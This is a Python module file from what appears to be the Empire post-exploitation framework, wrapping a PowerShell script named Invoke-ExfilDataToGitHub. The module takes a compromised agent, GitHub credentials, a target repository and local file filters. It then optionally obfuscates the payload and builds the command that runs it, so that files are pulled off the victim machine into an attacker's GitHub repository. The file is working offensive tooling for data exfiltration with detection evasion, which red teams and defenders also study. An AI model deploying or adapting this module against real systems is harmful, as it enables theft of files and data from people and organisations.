152 lines
5.9 KiB
Python
152 lines
5.9 KiB
Python
from lib.common import helpers
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class Module:
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def __init__(self, mainMenu, params=[]):
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# metadata info about the module, not modified during runtime
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self.info = {
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# name for the module that will appear in module menus
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'Name': 'Invoke-ExfilDataToGitHub',
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# list of one or more authors for the module
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'Author': ['Nga Hoang'],
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# more verbose multi-line description of the module
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'Description': ('Use this module to exfil files and data to GitHub. '
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'Requires the pre-generation of a GitHub Personal Access Token.'),
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# True if the module needs to run in the background
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'Background' : False,
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# File extension to save the file as
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'OutputExtension' : None,
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# True if the module needs admin rights to run
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'NeedsAdmin' : False,
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# True if the method doesn't touch disk/is reasonably opsec safe
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# Disabled - this can be a relatively noisy module but sometimes useful
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'OpsecSafe' : True,
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'Language' : 'powershell',
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# The minimum PowerShell version needed for the module to run
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'MinLanguageVersion' : '3',
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# list of any references/other comments
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'Comments': [
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'https://github.com/nnh100/exfil'
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]
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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# The 'Agent' option is the only one that MUST be in a module
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'Description' : 'Agent to run module on',
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'Required' : True,
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'Value' : ''
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},
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'GHUser' : {
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'Description' : 'GitHub Username',
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'Required' : True,
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'Value' : ''
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},
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'GHRepo' : {
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'Description' : 'GitHub Repository',
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'Required' : True,
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'Value' : ''
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},
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'GHPAT' : {
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'Description' : 'GitHub Personal Access Token base64 encoded',
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'Required' : True,
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'Value' : ''
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},
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'GHFilePath' : {
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'Description' : 'GitHub filepath not including the filename so eg. testfolder/',
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'Required' : True,
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'Value' : ''
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},
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'LocalFilePath' : {
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'Description' : 'Local file path of files to upload ',
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'Required' : False,
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'Value' : ''
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},
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'GHFileName' : {
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'Description' : 'GitHub filename eg. testfile.txt',
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'Required' : False,
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'Value' : ''
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},
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'Filter' : {
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'Description' : 'Local file filter eg. *.* to get all files or *.pdf for all pdfs',
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'Required' : False,
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'Value' : ''
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},
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'Data' : {
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'Description' : 'Data to write to file',
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'Required' : False,
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'Value' : ''
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},
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'Recurse' : {
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'Description' : 'Recursively get files in subfolders eg. set True or leave blank (do not use for Data exfil) ',
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'Required' : False,
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'Value' : ''
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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# During instantiation, any settable option parameters
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# are passed as an object set to the module and the
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# options dictionary is automatically set. This is mostly
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# in case options are passed on the command line
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if params:
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self, obfuscate=False, obfuscationCommand=""):
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# if you're reading in a large, external script that might be updates,
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# use the pattern below
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# read in the common module source code
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moduleSource = self.mainMenu.installPath + "/data/module_source/exfil/Invoke-ExfilDataToGitHub.ps1"
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if obfuscate:
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helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
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moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
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try:
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f = open(moduleSource, 'r')
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except:
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print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
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return ""
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moduleCode = f.read()
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f.close()
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script = moduleCode
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# Need to actually run the module that has been loaded
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scriptEnd = 'Invoke-ExfilDataToGitHub'
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# add any arguments to the end execution of the script
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for option,values in self.options.iteritems():
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if option.lower() != "agent":
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if values['Value'] and values['Value'] != '':
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if values['Value'].lower() == "true":
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# if we're just adding a switch
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scriptEnd += " -" + str(option)
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else:
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scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
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if obfuscate:
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scriptEnd = helpers.obfuscate(psScript=scriptEnd, installPath=self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
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script += scriptEnd
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return script
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